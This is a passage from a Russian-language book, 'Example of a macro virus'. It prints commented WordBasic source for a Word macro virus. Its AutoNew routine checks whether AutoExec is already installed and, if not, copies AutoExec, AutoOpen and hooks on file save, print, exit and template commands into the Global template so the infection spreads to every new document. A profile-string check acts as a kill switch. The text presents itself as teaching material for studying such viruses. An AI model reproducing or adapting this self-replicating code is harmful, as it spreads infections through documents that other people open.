Пример макро-вируса
Пример макро-вируса
Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.
Macro name: AutoNew [AUTONEW] ”U”
Encryption key: DF
Sub MAIN
’Включаем обработку автоматических макросов
DisableAutoMacros 0
’Проверим, установлен ли макрос. Если макрос AutoExec
’присутствует, считаем, что файл заражен
If (Installed=0) And (ForgetIt=0) Then
’Заразим. Копируем макрос
MacroCopy WindowName$()+”:AutoExec”, ”Global:AutoExec”, 1
MacroCopy WindowName$()+”:AutoNew”, ”Global:AutoNew”, 1
MacroCopy WindowName$()+”:AutoOpen”, ”Global:AutoOpen”, 1
MacroCopy WindowName$()+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1
MacroCopy WindowName$()+”:DateiSpeichernUnter”,
”Global:DateiSpeichernUnter”, 1
MacroCopy WindowName$()+”:DateiBeenden”,
”Global:DateiBeenden”, 1
MacroCopy WindowName$()+”:ExtrasOptionen”,
”Global:ExtrasOptionen”, 1
MacroCopy WindowName$()+”:DateiDokvorlagen”, ”Global:
DateiDokvorlagen”, 1
MacroCopy WindowName$()+”:It”, ”Global:It”, 1
MacroCopy WindowName$()+”:DateiDrucken”, ”Global:DateiDrucken”, 1
End If
End Sub
’Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed
’Установим переменную Installed в 0 (инициализация переменной).
’При положительном результате проверки установим ее в 1
Installed=0
’Проверим, есть ли макросы
If CountMacros(0) > 0 Then
’Проверим имена макросов. Если есть AutoExec,
’установим переменную Installed в 1
For i=1 To CountMacros(0)
If MacroName$(i, 0)=”AutoExec” Then
Installed=1
End If
Next i
End If
End Function
Function ForgetIt
ForgetIt=0
Section$=”Compatibility”
ProfilName$=”Nomvir”
BlaBla$=GetProfileString$(Section$, ProfilName$)
If BlaBla$=”0x0690690” Then
ForgetIt=1
End If
End FunctionДанный текст является ознакомительным фрагментом.